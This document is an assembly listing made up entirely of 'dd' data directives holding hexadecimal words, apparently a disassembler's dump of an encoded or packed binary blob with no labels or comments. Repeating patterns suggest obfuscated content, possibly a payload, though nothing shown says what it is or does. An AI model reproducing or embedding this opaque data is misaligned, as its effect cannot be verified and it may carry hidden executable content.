		dd 0AB6F2623h, 9195103Ch, 75B9F416h, 3504A118h,	4E55EAEEh
		dd 68678305h, 487A0535h, 50B1D155h, 0E4961724h,	0D49DC65h
		dd 1782F109h, 4B433A48h, 85B38ECFh, 4C3055E4h, 8568D7C6h
		dd 3A4855E4h, 16344B43h, 0B82809Fh, 91F857F3h, 5AB15C89h
		dd 0A8A3D218h, 2EFEC8Bh, 1EC80000h, 2A5EAF59h, 6B629411h
		dd 80FB49DCh, 0E49B1427h, 87ABAF55h, 3CADE9B6h,	0FB0A5619h
		dd 75037E8Dh, 5D18E133h, 18C864Bh, 4AA57C09h, 0B1EC1D6Ah
		dd 0E4057D8Dh, 0D53A7B90h, 5E405140h, 8A1D2F08h, 0FFE370BAh
		dd 108BBDCCh, 2A6364FBh, 8DBF28E8h, 7917191Eh, 19715F8Ch
		dd 3030Bh, 2B666600h, 564778E7h, 7F3A55D2h, 671E2CBBh
		dd 880504A3h, 652D0784h, 78E72B66h, 51CE524Bh, 29B67A35h
		dd 0F5A06417h, 0EF1A2976h, 7A9955EAh, 0D8F48BB6h, 0EB29ADDDh
		dd 354632D3h, 0DA1E2BE8h, 39B2C449h, 984858Fh, 444D1D17h
		dd 35542B20h, 0D3C4378h, 161C7890h, 0CBC6C562h,	0F5CA72B3h
		dd 0DAEC55EAh, 5C645CA3h, 0CC3C6913h, 293FEh, 0BBF61600h
		dd 0A6D7E877h, 0CFCAC562h, 0F7AEDC4Bh, 1895B433h, 15BD9714h
		dd 0E877BBF6h, 0C15EA2DBh, 0D946CAC5h, 4530F4A7h, 0EF8AB9E6h
		dd 0CA0955EAh, 9F188BC6h, 53F092ACh, 0DDD12327h, 0E243780Ch
		dd 49DA1E25h, 0D6417ADEh, 0EAEEFA49h, 1F157955h, 1F2D3CAFh
		dd 552FB264h, 6AC9AD7Eh, 62122DA8h, 0C9F055EAh,	141E93B2h
		dd 0CD22077h, 6A8BAF79h, 0FDEFC11Ah, 20A4D4CFh,	8C80DACEh
		dd 0EA291023h, 8BAF9355h, 197FE89h, 8B3A0000h, 0AEDED7F4h
		dd 1133E82Ah, 0EB1D629Ah, 34443F4Bh, 0C99FACD0h, 24C09373h
		dd 2622FD36h, 3DF7536Bh, 46470675h, 18E9DD57h, 5005F6Ch
		dd 0DDEF7088h, 3F888AAEh, 0DC3C3CFEh, 39513549h, 0E4FD45F8h
		dd 51B8A755h, 0A8F7DB01h, 20FB8Bh, 80310000h, 47E01B61h
		dd 49DC6CD7h, 95142428h, 55E49CAAh, 14668D48h, 8BA89AC6h
		dd 95D0h, 6567DC00h, 4A790636h,	0B5B42757h, 79161C97h
		dd 5B245447h, 0EFAE7229h, 53F09736h, 0F93D7092h, 0BB961782h
		dd 3853F096h, 7E6DE54h,	23DD5A71h, 2849DFF3h, 0A5A41724h
		dd 7625EFAAh, 51E04D57h, 0D255E63Ah, 59C64A6Eh,	0C2B0772Ah
		dd 0FE69171Bh, 146BC8Eh, 0A9D90000h, 94B532F6h,	7F8A1519h
		dd 6361FE02h, 4C7BE428h, 6A4ECD51h, 2CF0ADDCh, 1B1F96B3h
		dd 105808Ch, 0E5296466h, 45F43188h, 0DE55EAECh,	686773B5h
		dd 0C39AF135h, 59BDCDC8h, 8B0204DBh, 0F48B4D87h, 28ACDCD9h
		dd 981335EAh, 0A9ED1F60h, 0F0923D0Ch, 0B5F01D53h, 0D5597DC1h
		dd 5FEA4BA6h, 0D453F092h, 0E796B770h, 0DA173D7h, 832C9FFCh
		dd 53F092B0h, 330E4F33h, 0B053F092h, 0CC93A8CCh, 69B6C5C0h
		dd 53F092DAh, 8C3FF559h, 403D4A11h, 8520AEAEh, 848E104Fh
		dd 0DC653709h, 0A3D8BC49h, 2CF0ADDCh, 709DEC5Fh, 0B8810535h
		dd 55E40589h, 810C060Ah, 55E405BEh, 0A4DFEB72h,	1C8FB16Eh
		dd 337CEFh, 8355E405h, 22BD75BFh, 4C5E6E23h, 74h, 1B6180EAh
		dd 1E8A47E0h, 0E7D49DAh, 0EAEE92A1h, 0BAD61155h, 274BCFFFh
		dd 109D0803h, 55EAEE21h, 4641DEA2h, 8EFDC94Bh, 0EEA79213h
		dd 3A7B55EAh, 55EAEE0Fh, 48CC8084h, 0B8F315CAh,	0D7CEFC83h
		dd 0F80A955Dh, 15347585h, 3E93A328h, 0F90B3A51h, 0D5F28982h
		dd 0EE24A0D8h, 108BBD2Ah, 326967F8h, 375EBD1Ah,	8387F608h
		dd 93ABE2E4h, 381h, 0A68C2F00h,	4346767h, 3A52497Bh, 5E6E2925h
		dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h
		dd 27574647h, 0E089501Fh, 4DCBBD55h, 81450DF1h,	0CF40EDF5h
		dd 6E5C113h, 0C3C58145h, 1707CB7h, 0E8835DE8h, 24048704h
		dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h, 53241489h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h,	10BE5624h
		dd 0BA0B6D59h, 0FAAD231Eh, 348BF201h, 4C48324h,	240C8B54h
		dd 4C481h, 0EC830000h, 24148904h, 0FF08418Fh, 83592434h
		dd 148B04C4h, 0E0895024h, 405h,	40500h,	4870000h, 21E95C24h
		dd 19FFFA00h, 309B7AB8h, 24773039h, 8029B861h, 0C503061Ah
		dd 0F46EE0FFh, 3AF9243Dh, 0DC585F83h, 3677414Dh, 82BC3E4Fh
		dd 6EB1244h, 776D49BCh,	95F55294h, 0D32B371Bh, 0F32967D9h
		dd 0B7A345D5h, 0DE9C2C89h, 0CE431A47h, 5E7C5846h, 82AF410Ch
		dd 0BED7C7Ah, 2E2798Ch,	29B61319h, 0C55E1E59h, 27B45FF4h
		dd 62B7347Fh, 1EE0747Dh, 60B9111Bh, 0F5312225h,	0F0DC6002h
		dd 5D101CBFh, 0D643FC5h, 0D530560Eh, 41884EDBh,	0F7260D18h
		dd 8D8D2B88h, 61A81E6h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0A2C35141h, 801DD64Fh, 8D89BFD6h, 6142B69h
		dd 69B10EBEh, 5585C735h, 0C8061410h, 8B000070h,	14302585h
		dd 6AB86606h, 3D85C729h, 61401h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 869EC351h
		dd 0CAB0D49Ch, 0A4AB5CE4h, 7E9h, 0D97A0600h, 5ED9C838h
		dd 499B5FFh, 0BA660614h, 95FF2D5Bh, 6140BD9h, 6ADA8B66h
		dd 7195FF00h, 8B061429h, 0AF7AEBC0h, 8D77AFA6h,	0A7E6CE55h
		dd 600648B8h, 0FBB8502Fh, 0EE7D24D3h, 395E7589h, 0A4905326h
		dd 9CD3738Bh, 6CC9DF93h, 59FCF4F4h, 0F8769D68h,	1150FE88h
		dd 548BE7C0h, 6ECAB287h, 6DED502Ah, 6C6BBB77h, 0EB45899Eh
		dd 1B86A754h, 0AF65460Eh, 0C088CAFCh, 4B66F8F4h, 0F6D38DFDh
		dd 9C1B5C34h, 7BCBA55Bh, 0EAC245B6h, 5BDC0282h,	47D953E5h
		dd 18269C98h, 0DEFC0303h, 0CDAA54B0h, 7E8E3h, 0E89D0000h
		dd 0A701D770h, 0C18166EDh, 0E95E1D84h, 7, 322CA78Ah, 817AEBC3h
		dd 7343C6h, 8B666000h, 99523C6h, 61061407h, 5ECB62B8h
		dd 0CBE88103h, 0E8035EAEh, 0Fh,	0A52A0566h, 906A21E4h
		dd 2941C635h, 8B310BE9h, 1410CD9Dh, 36FF5906h, 68A0Fh
		dd 60600000h, 611AB261h, 8E9605Fh, 43000000h, 0DCC7BFC5h
		dd 6699A46Eh, 61F002BFh, 0C2DC781h, 8B565C65h, 0EF8159D0h
		dd 5C979B3Bh, 0BD58589h, 0EF810614h, 0A8F3238h,	0F57DF8Bh
		dd 1480h, 0AE800h, 934F0000h, 0DE561F00h, 74DA96EAh, 6C51B966h
		dd 8B068F5Bh, 4EE83CFh,	428CDA81h, 0F481030h, 1685h, 0D2BB6600h
		dd 23E92Eh, 0BD2C0000h,	0E85CB3DFh, 9782D179h, 0F4937BAh
		dd 58Ch, 0E450BB00h, 6BE9508Eh,	57FFFFFFh, 67542B0Ah, 63E753FEh
		dd 32AF5DB1h, 3354F9B1h, 0C75657B1h, 8C36ABB1h,	295DD0C7h
		dd 0C237C407h, 2554229Ch, 0DB56BAB1h, 32565DA3h, 0DBD7317Bh
		dd 0D991B3A2h, 401D46FFh, 13F8BF0Eh, 0BD599BBDh, 325675A1h
		dd 0DB08E8D1h, 32565DB6h, 5018E8E8h, 538ED03Bh,	0B959ABB1h
		dd 3256D5BAh, 0F8DD8CD1h, 64109330h, 3237827Bh,	3247B4B1h
		dd 17E8AEB1h, 4E9DBFBFh, 0C6516F26h, 8A1D56D0h,	326C761Dh
		dd 325680B1h, 0EAD7DCD1h, 0B9309A3Ch, 3256CF42h, 3257D5BEh
		dd 1FAAABB1h, 325688C6h, 3256E358h, 0E63B4DB1h,	1B74F632h
		dd 37BF9DC5h, 0C856AEB1h, 3BE3C463h, 32099441h
		dd 38154D7h, 0E4D7B15Dh, 400B33FFh, 5256BAD0h, 3242D3BEh
		dd 3DBFAEB1h, 475657B1h, 81ABE290h, 3F6E11CBh, 0B9160D9Eh
		dd 0B559E09Eh, 3256BAA5h, 32565258h, 3AA0A1B1h,	0E980C25Ch
		dd 372C71C5h, 0BE8B4A07h, 3AD3E5D0h, 3D5675B1h,	3256B834h
		dd 32373DB1h, 325947B1h, 0C1857B1h, 550D5DA1h, 8E01A67Eh
		dd 0D13F89FAh, 52567544h, 0C72602D7h, 3240D1BEh, 23BFAEB1h
		dd 725657B1h, 6185B367h, 1DAB589Eh, 0F731EB26h,	2451F3DAh
		dd 0C756BAD0h, 3FBF5DB1h, 0D656AEB1h, 9529C35Bh, 793707FAh
		dd 8D9D4C27h, 5236EAB1h, 57BBB530h, 0D8D7DC0Bh,	71E9437Bh
		dd 323752D0h, 325ABEB1h, 0B32ABB1h, 18E7F94Dh, 6C03B718h
		dd 3256F628h, 3256AA58h, 0BB641FB1h, 0FFC3A4F0h, 3D941F25h
		dd 0CD7738EFh, 3D56D50Ah, 3256E632h, 34D17AB1h,	3D56BAB1h
		dd 32565D3Eh, 3EDFA1B1h, 0DB5657B1h, 3256ABB6h,	0CAD6024h
		dd 3201B98Ah, 32449CB1h, 973BAB1h, 39987DC1h, 0C3A1628Dh
		dd 8E36AA55h, 6FFE2313h, 32AAD5B1h, 33DBE5B1h, 0CA5675B1h
		dd 32AEBAB1h, 325BB4B1h, 0DFA4AEB1h, 6CB010B6h,	6997A215h
		dd 32129199h, 0CBDD8AB1h, 3237923Bh, 0BB59DAB1h, 32565DB5h
		dd 0C98010D7h, 32565859h, 3D97DEB1h, 0C3C0E6D6h, 73AD3CC4h
		dd 0C283C1B5h, 530DE1E6h, 0B2365DB1h, 0B330F95Dh, 531BBA6Ah
		dd 20BFABB1h, 0EA56D5B1h, 0A86F709Bh, 0B96F5847h, 3AB23C87h
		dd 77C9B32Ah, 29D6A110h, 3D5657B1h, 3256BE39h, 32463CB1h
		dd 8D69EAB1h, 0ED3FF220h, 0A378E17Eh, 81DC8F1h,	32567BE4h
		dd 3257D4BEh, 3DAFABB1h, 3256C933h, 22BF8AB1h, 4C5675B1h
		dd 8D145CF2h, 0DF21D20Bh, 3C307B0Bh, 8D1AB05Ah,	27C8E1ABh
		dd 0CA56D5D0h, 3FBFEAB1h, 565675B1h, 306644D9h,	0F8602A03h
		dd 1CBD13Bh, 3257D5BEh,	30AAABB1h, 3256D5B1h, 0BCECEAB1h
		dd 8A7F2B94h, 287B6BDBh, 0E3859E2h, 32A6E9F0h, 358EAEB1h
		dd 3255ABB5h, 3251D5AFh, 3277EAACh, 99B87563h, 0DB7D4AD8h
		dd 32565DB4h, 3670CEB6h, 325636A2h, 32572CBEh, 0DBAAD5B1h
		dd 3256EABEh, 55AE5E0Fh, 4C40FE73h, 0DDCE4DB1h,	321B367Fh
		dd 323737B1h, 39DCA4B1h, 5256D5B1h, 3D9D61D7h, 32567532h
		dd 3256DBB1h, 3253B4D1h, 2086AEB1h, 0DBBA6B9Ah,	3256ABA2h
		dd 2814B6BFh, 39639503h, 0CA97210Ch, 786E819Ch,	530ECF9Fh
		dd 22BFFCD1h, 0A95657B1h, 733035A2h, 86907B78h,	0CDC5560Eh
		dd 6ACD1B8Ch, 32563FBEh, 32375DB1h, 324647B1h, 0ECC257B1h
		dd 2FF2C9E9h, 93DE34F8h, 22B05B01h, 3256563Fh, 3244B8E4h
		dd 3FBF5DB1h, 1356AEB1h, 0E8745867h, 37057A69h,	0AF8557C4h
		dd 0B936EAB1h, 539AFF4Fh, 3003BAB1h, 3E565DB1h,	5BDE97A9h
		dd 3256571Bh, 325A28BEh, 0B259D5B1h, 3256EAB7h,	3256FEBEh
		dd 0DB03BAB1h, 32565DA0h, 5ADDF4B4h, 26317130h,	0B255190Ch
		dd 9E092B08h, 165263C4h, 42E557B1h, 0AE59D458h,	0BA7D2714h
		dd 651E890h, 68F585ECh,	5267A4E9h, 35987E1h, 0EAE4B2EBh
		dd 0A10E2FD0h, 60068BBEh, 32564958h, 0C873B2B1h, 0F4F75F1Ah
		dd 608B1F36h, 0AC8FF592h, 98C3A6CEh, 0DB677A2Ah, 3256BABDh
		dd 21541055h, 5D18E7E1h, 0B90C52CDh, 6A0CF3EBh,	6A0CB421h
		dd 5204BAE1h, 6849DC08h, 0E3DDDC8Ch, 0DB6752D0h, 3256AEB7h
		dd 2FA290B7h, 6A0CC823h, 359C021h, 359B8E1h, 6A0C2DEBh
		dd 3EC6E2EBh, 0BB0D37E4h, 62528AF5h, 520407E3h,	6267A4D0h
		dd 6867DAE3h, 3D0EB0E9h, 52042580h, 0DB67B5D0h,	32565DA3h
		dd 4B166DC3h, 73A480Fh,	830E907Bh, 0DF52C227h, 6A0C5993h
		dd 0C0E2DEBh, 3242535Eh, 87BA5DB1h, 38E15FBh, 5FD2C0A7h
		dd 5BA69813h, 174A5A5Fh, 53CB414Bh, 36723138h, 35BFE8E1h
		dd 11565DB1h, 4DC87791h, 359C2FDh, 6006F9E1h, 6A0CE4BEh
		dd 5336DBBEh, 6A0C2DEBh, 20BFDBE9h, 0C5565DB1h,	700BAA69h
		dd 91069775h, 0FFFA7C84h, 74918C74h, 0DB56EA2Dh, 325675B4h
		dd 496A9232h, 52565D20h, 0BA59B004h, 325657B7h,	32562EBEh
		dd 3D37D5B1h, 3256ED39h, 33D37AB1h, 0CB56BAB1h,	34BF5DB1h
		dd 0D956AEB1h, 32850061h, 5256ABEEh, 32562CD0h,	3256EC58h
		dd 0A9EBA5B1h, 329FBABCh, 33D052B1h, 0C756AEB1h, 0B05957B1h
		dd 3256ABBEh, 32533DD1h, 0F381EAB1h, 6C7C97A8h,	3237DBD1h
		dd 3256A8B1h, 8FB82FD1h, 0DA095A36h, 3256ABBAh,	62CD0FC6h
		dd 2AA32245h, 3DEE3819h, 530F750Eh, 0B6595DB1h,	3256AEA0h
		dd 325DDFBEh, 34BFABB1h, 0EA56D5B1h, 0F01DF72Fh, 525675F1h
		dd 0D09E3BD7h, 325CB4B7h, 0D24BAEB1h, 2ECFD61Eh, 0C633397h
		dd 0E3DDB5D0h, 0D4EF8CD1h, 3A9DF5D0h, 3256DBD0h, 3D363D44h
		dd 3256AE3Ah, 530C05B1h, 3256AE59h, 0CFD1BB1h, 0BB595D5Ah
		dd 325675B1h, 3256DBE9h, 0C0D73BD1h, 3237E60Ah,	0E8EF37B1h
		dd 0DB7BFE68h, 3256D5B9h, 3C5819B3h, 0A8D9D272h, 0CA56BAD0h
		dd 32565058h, 9C553BB1h, 6E21269h, 0BC82A9FBh, 32564F6Eh
		dd 5256EA4Dh, 3254F0BEh, 0FADDBAB1h, 9240E2D7h,	3D56AED0h
		dd 3256523Dh, 6805CBB1h, 3256B449h, 0DDD78CD1h,	0FCD75172h
		dd 287D2CB5h, 0B7593DD0h, 3256AEA2h, 32565958h,	2B76FAB1h
		dd 0DE8F0302h, 62511A07h, 531947B1h, 0B336BAB1h, 0CA306A79h
		dd 2A4B10F1h, 32370108h, 325D42B1h, 61D9D5B1h, 9417671Ah
		dd 73582968h, 0CA56BA90h, 0BE595DB1h, 3256AEB0h, 0CB56574Dh
		dd 0DB56AB4Dh, 3256D5BEh, 582FA9F6h, 0FA4142A9h, 1C10830Fh
		dd 323A42E7h, 324447B1h, 5AD657B1h, 0A153B21Bh,	7538C427h
		dd 2FBB2AE6h, 1C880729h, 3D56BA49h, 32565C30h, 32565BB1h
		dd 325ADCBEh, 0B759ABB1h, 3256D5B7h, 32566FBEh,	325675B1h
		dd 0D0D643D1h, 32563C47h, 3256BE58h, 9D5192B1h,	802E39BFh
		dd 7FBA6BB4h, 0DA813BE5h, 0DB5675DBh, 3256BAB6h, 0A75106E7h
		dd 32F86809h, 35BFA2B1h, 6A56ABB1h, 41102107h, 32562D0Dh
		dd 32567C58h, 0C1C0AFB1h, 0C6E00573h, 3256DDF7h, 533600D1h
		dd 53801DEBh, 32AFD5B1h, 3ED9E5B1h, 525675B1h, 56A63BD7h
		dd 31BFE75Fh, 3237BDB0h, 2BDE58B1h, 0DB56ABB1h,	3256D5A5h
		dd 2033217Eh, 0BF02AC1Fh, 86FC7F75h, 3F37CB52h,	0AB97F96Fh
		dd 32AF57B1h, 324242B1h, 104ED5B1h, 16E7B44Ch, 0D2BBA05Ah
		dd 0F89CCCAEh, 17EEA727h, 32AE7DE9h, 0BD5937B1h, 3256ABA3h
		dd 3256D959h, 50FE0DB1h, 0ACED29E5h, 0B0484FAFh, 0A6EF049Fh
		dd 5361237Eh, 0B05957B1h, 3256ABBDh, 325052BEh,	0B659EAB1h
		dd 325675B1h, 8830E9D1h, 540F5B7Bh, 3237543Ah, 3ED558B1h
		dd 5256ABB1h, 8D896FD7h, 3A383930h, 32377F67h, 0B330DAB1h
		dd 3D0E9343h, 52375006h, 32565D59h, 0DEC8B2B1h,	0B6BA929Ch
		dd 52E9A312h, 0BE592DD0h, 3256BAB3h, 32375405h,	21BF56B1h
		dd 0FC5657B1h, 36289958h, 8AEC6B9Ah, 6A1A0BD4h,	37A475A1h
		dd 3256714Fh, 32564C58h, 8BE17DB1h, 0C9813D3Fh,	4EBCD721h
		dd 3D056635h, 32569C08h, 0C7567544h, 0B659BAB1h, 32565DB0h
		dd 5256AE48h, 32565858h, 770159B1h, 0F4735318h,	0F6B11980h
		dd 57F01066h, 325536BEh, 0F7D65DB1h, 3256CF83h,	0DB565748h
		dd 3256ABB8h, 9AF500C8h, 8C1EAA9Fh, 52567508h, 3256B658h
		dd 2115CB1h, 0CEB8C884h, 97EBF52Ah, 323753CCh, 0DB362CB1h
		dd 3256EAB4h, 35760A86h, 32505331h, 0E3E65DB1h,	7D71744Ah
		dd 3D5657D0h, 3256AA39h
		dd 32562CB1h, 3256F958h, 0FC668FB1h, 0F51A4CAAh, 0B23F7372h
		dd 9C920ED5h, 0EA3FC1AAh, 32AAABB1h, 3CD7DAB1h,	0DB56EAB1h
		dd 325675B8h, 7F1623ACh, 0EA59B1D1h, 3D56AE5Dh,	32564F31h
		dd 20D9A4B1h, 0DB56D5B1h, 3256EABCh, 488BFB3h, 9EC631A2h
		dd 18A31F85h, 3FBFCE84h, 0CE5657B1h, 51A7D73Ch,	6B79CA7Eh
		dd 763A3D8h, 0C0D713E7h, 530D9FD6h, 0BA595DB1h,	3256AEB0h
		dd 0DB565744h, 3256ABA2h, 0A1EEED98h, 0AF88F96Ah, 73BBA96Dh
		dd 34E2E5B7h, 329A64A5h, 0F4DDCEB1h, 0CB5657D0h, 0DB56AB4Dh
		dd 3256D5BAh, 23DA0557h, 999F71B5h, 327E14A2h, 33DD52B1h
		dd 0CB56AEB1h, 3D3657B1h, 32375106h, 32533CB1h,	0DD0CEAB1h
		dd 0DB5AAA01h, 3256BAA0h, 27E74C12h, 3BEFE6C0h,	0B5CBBC3Dh
		dd 0D6946C54h, 0DB56D565h, 3256EABDh, 0E496EF8Ah, 423ABF29h
		dd 6782223Ah, 0BF59AEB1h, 325657B0h, 3D56AB49h,	3256D43Eh
		dd 325616B1h, 3248FABEh, 0B659BAB1h, 32565DA9h,	3256BD58h
		dd 8AC570B1h, 93A66B95h, 0B536FBB9h, 4EECD0BFh,	4B2440C5h
		dd 0DBAEBAB1h, 32565DB9h, 0CBA2FE9h, 2B484D97h,	3EBFABB1h
		dd 156D5B1h, 9A7549A7h,	694021Fh, 320A71B9h, 3245B4B1h
		dd 6870AEB1h, 77D92F84h, 0A092AFE0h, 0E442657h,	0F6D6E334h
		dd 0C756753Fh, 39BFBAB1h, 0D6565DB1h, 53287719h, 50EE2654h
		dd 32561DF5h, 0CB56D54Dh, 0DB56EA49h, 325675A5h, 0D5E1FB3Dh
		dd 0C64057A9h, 2D99357h, 17273F3Ch, 7A5EC006h, 3D36D5B1h
		dd 3256EF3Eh, 0ED51CFB1h, 8559B866h, 32563C6Eh,	0C756AE44h
		dd 3ABF57B1h, 4B56ABB1h, 450632Bh, 3269987Ah, 2BD97AB1h
		dd 5256BAB1h, 70FFE5D7h, 3256A058h, 4ED71FB1h, 5AC816D4h
		dd 89356819h, 53FB7C46h, 3D3675B1h, 3ABF710Eh, 0A1565DB1h
		dd 53C8FAA5h, 532C0B34h, 0B236ABB1h, 5237C363h,	53CE5E4Dh
		dd 52AF75B1h, 0D0E15608h, 53A5D698h, 32AAAEB1h,	35D758B1h
		dd 3D56ABB1h, 3256D436h, 325612B1h, 0E3D713D1h,	85594E3Ch
		dd 32563C6Fh, 3256A158h, 627B00B1h, 0D63A72E7h,	4E0A527Fh
		dd 0A7D6AA07h, 32566558h, 32A04DB1h, 8FFCB9E9h,	0AECC314Ch
		dd 4B929619h, 0CA56AB84h, 5256D54Dh, 0B7856BD7h, 54AE150Bh
		dd 0F3FA5530h, 32563CD0h, 3D56AE4Dh, 32564436h,	35BFCBB1h
		dd 0AF56D5B1h, 0D6A96E79h, 0B3308882h, 537D535Ah, 325DD9BEh
		dd 34BFAEB1h, 2A5657B1h, 65C31FF5h, 3D56D54Fh, 3256EC30h
		dd 0EADC15B1h, 32376C3Ah, 325AB4B1h, 2020AEB1h,	94ADAAF0h
		dd 6E95D692h, 325655E9h, 37DCE5D1h, 8B5675B1h, 1EDFFBA1h
		dd 32564C58h, 8280C6B1h, 1ECEE0EDh, 0EFA32C9Ch,	2C53872Bh
		dd 32374223h, 7CE715B1h, 538C31D7h, 0CBAE5DB1h,	32AFAEB1h
		dd 38BF37B1h, 9A56ABB1h, 0DD076B01h, 0D78265B0h, 323780C7h
		dd 325E53B1h, 96A05DB1h, 698EDA10h, 3256D740h, 325E20BEh
		dd 0BF59D5B1h, 3256EAB3h, 325614D1h, 3D56BA44h,	32565C35h
		dd 23BF57B1h, 9F5657B1h, 7DF48698h, 0F25C867h, 1B99F74Bh
		dd 8839AE0Eh, 3D36BAB1h, 32565F32h, 549518B1h, 721E8930h
		dd 5256ABD0h, 3256D258h, 600846B1h, 154461B0h, 4D7D4B0Bh
		dd 32563C88h, 3256A858h, 90738DB1h, 329FE866h, 325629B1h
		dd 3256E358h, 4E1EABB1h, 0E9441AD3h, 3256DDC1h,	3256BD58h
		dd 0B14559B1h, 5C19618Ch, 87C2EDA4h, 233F9B55h,	0A0879CEEh
		dd 39BFBAB1h, 0AF565DB1h, 0E8D94945h, 99DB12B2h, 32568A06h
		dd 3256DF58h, 7E901CB1h, 757DCE86h, 3D2A01BBh, 32564A3Fh
		dd 324447B1h, 31C57B1h,	0C1AEFCBEh, 37757B4Dh, 7AA99234h
		dd 5197F4F6h, 0B336BAB1h, 44C0865Eh, 39BFCE84h,	365657B1h
		dd 13463462h, 9DD0966Fh, 0BC594C66h, 325675B1h,	3256DBD0h
		dd 325EB5D1h, 0A1C7AEB1h, 152ECAD3h, 0B259F30Ch, 3256D5B1h
		dd 0FCEC8CEEh, 325614EBh, 3256B358h, 0DFC7D8B1h, 0B7AE4755h
		dd 3256C04Ch, 5256AB48h, 3256D259h, 1EFECBB1h, 0D505BE6Ch
		dd 52853BD7h, 323702C7h, 325652B1h, 32564758h, 6281E2B1h
		dd 385A9181h, 0B73A82C3h, 0F54D3048h, 3D56BAD9h, 32564F3Dh
		dd 3ED4A1B1h, 0DB5657B1h, 3256ABB6h, 0C76163DCh, 321A40BCh
		dd 325689B1h, 3256A958h, 1AEC13B1h, 0E720FE3Ch,	907E8EFBh
		dd 0C956E44Dh, 0EFEB1FEAh, 0BA59EAB1h, 325675BBh, 0F1E1B5D1h
		dd 0A916ED0Eh, 3256CFF4h, 32565C58h, 4D8CC8B1h,	0E785CF1Ch
		dd 90B36234h, 0BB5975B1h, 3256BAB0h, 0CA565D48h, 5436AEB1h
		dd 0E1168730h, 3256A559h, 689BFEB1h, 655BBABBh,	28994DD7h
		dd 0DA673C4Ch, 32565DB4h, 0C092CA65h, 53090FB0h, 32AEABB1h
		dd 325620B1h, 3256F858h, 0C3B9F4B1h, 431D207Dh,	2DB84697h
		dd 0F34280C5h, 0CABD0509h, 0B359ABB1h, 3256D5A8h, 3256FE58h
		dd 480364B1h, 5EC09EA7h, 0E35291AAh, 0D7A0EC56h, 7A00E6B1h
		dd 0DB56AB55h, 3256D5B7h, 68C3C83h, 325643B1h, 324F30BEh
		dd 26BF5DB1h, 0DA56AEB1h, 212A3083h, 59F018D8h,	464F4ED8h
		dd 0A74DE9C1h, 32910A45h, 3FDAB5B1h, 0DB565DB1h, 3256AEB9h
		dd 0E27B800Dh, 0EE955628h, 32AED5B1h, 3ED9E5B1h, 3D5675B1h
		dd 3256BC35h, 32D552B1h, 3256AEB1h, 38BF37B1h, 2556ABB1h
		dd 43DE4497h, 0BCA1A9F4h, 0F3E17AA9h, 3D56BAD0h, 32564C32h
		dd 325A47B1h, 12457B1h,	45672982h, 0EB97425Eh, 32567D04h
		dd 3D567549h, 3256A13Ah, 27D152B1h, 0DB56AEB1h,	325657A1h
		dd 0F6CAFD5Ch, 2D7270DBh, 15C47D9Bh, 0CE3E9746h, 26BFBAB1h
		dd 4A565DB1h, 0BDEDB5A8h, 9B7702DFh, 0FAECC5EBh, 7B0F9AFAh
		dd 327941F4h, 325C9CB1h, 0F532BAB1h, 424C65DAh,	5D9E10F8h
		dd 0DB565748h, 3256ABB4h, 426CA971h, 3D56EA98h,	32567A31h
		dd 0D5DCDAB1h, 32565B58h, 57320DB1h, 53BBD064h,	3BBFABB1h
		dd 3F56D5B1h, 0B33B15F2h, 43146D1Eh, 0DB36BAB1h, 32565DBCh
		dd 0B1B325D7h, 0F0A83D1Eh, 12DA5B84h, 3256B47Bh, 325E6DBEh
		dd 0B35975B1h, 3256BAB3h, 32563CD1h, 325A28BEh,	35BF57B1h
		dd 8256ABB1h, 61A23C89h, 3256D1CFh, 325E9DD1h, 7C4BBAB1h
		dd 0E74CAADEh, 530F9CF7h, 3ABF57B1h, 9756ABB1h,	0DE6B90C2h
		dd 3292E86Bh, 0B93015B1h, 8D59EC40h, 32370773h,	325F47B1h
		dd 558757B1h, 6528FCA4h, 321D9B50h, 325103B1h, 0EA5A75B1h
		dd 49878A32h, 0CE565DA5h, 3256A058h, 0F51BE6B1h, 7ED9A28Bh
		dd 0CC8B24BFh, 322842E2h, 32519CB1h, 0EFC6BAB1h, 68B881F6h
		dd 5256AEDCh, 0A633EED1h, 37EFD486h, 530F90C3h,	32D3E5E7h
		dd 6A5675B1h, 0CE56BAD0h, 80365DB1h, 0C3E8C8B0h, 3D363611h
		dd 3256AE30h, 0FCD7B3B1h, 53AEC53Fh, 32AF75B1h,	37BFDAB1h
		dd 0D5565DB1h, 5B2B2F1Ah, 525657D0h, 0E1912AD7h, 3256B4EEh
		dd 3256E158h, 0F1A9CCB1h, 12A74117h, 0F96B5748h, 23BFAEB1h
		dd 0EC5657B1h, 630E2831h, 0B6484A10h, 1068BAB4h, 41C6ADC2h
		dd 5436BAB1h, 21BEAA3Ah, 3956AEB1h, 5CBFA56Dh, 0B389703Eh
		dd 9817FC98h, 0FFF78519h, 3DBFF559h, 0E756BAB1h, 49B3EE27h
		dd 0D6882669h, 3BD9BB51h, 530E573Bh, 20BFD5B1h,	2C56EAB1h
		dd 0E1573E3Bh, 5FCE543Bh, 166B9085h, 0B086FE06h, 3256AF51h
		dd 0CA56AB44h, 0B259D5B1h, 3256EAB0h, 325B9C48h, 2BAB1h
		dd 0E0748A8Ah, 0AF54BDAh, 32B693D3h, 3BDFA4B1h,	5256D5B1h
		dd 830E52D7h, 53ADCABEh, 3DAABAB1h, 32564438h, 3EBFCEB1h
		dd 0B75657B1h, 3CDABDE3h
		dd 42F85E80h, 3DAE7E4Ch, 3256753Fh, 3256DBB1h, 3D565D4Dh
		dd 3256BC31h, 325BBEB1h, 0B333ABB1h, 961DEAC6h,	0AD01D695h
		dd 32B4B305h, 33D2B5B1h, 0CA565DB1h, 0C7A3AEB1h, 0CAAE57B1h
		dd 0B859ABB1h, 3256D5B6h, 0F8D78CD1h, 3237129Eh, 33DDB5B1h
		dd 0CE565DB1h, 530EF9D1h, 26BF57B1h, 4056ABB1h,	983AC28Ah
		dd 247CB6A4h, 36ED4765h, 83AAB627h, 3224A32Bh, 3AD5A1B1h
		dd 3D5657B1h, 3256A93Ch, 3237B5B1h, 33D9E5B1h, 0C75675B1h
		dd 3D36BAB1h, 32565B34h, 55BD2FB1h, 637F9670h, 2BE813D7h
		dd 3256B4E9h, 325003D1h, 478C75B1h, 6093C650h, 0B1BBA30h
		dd 3237F12Eh, 0B859AEB1h, 3256ABB8h, 888C5ED1h,	2B51E3EEh
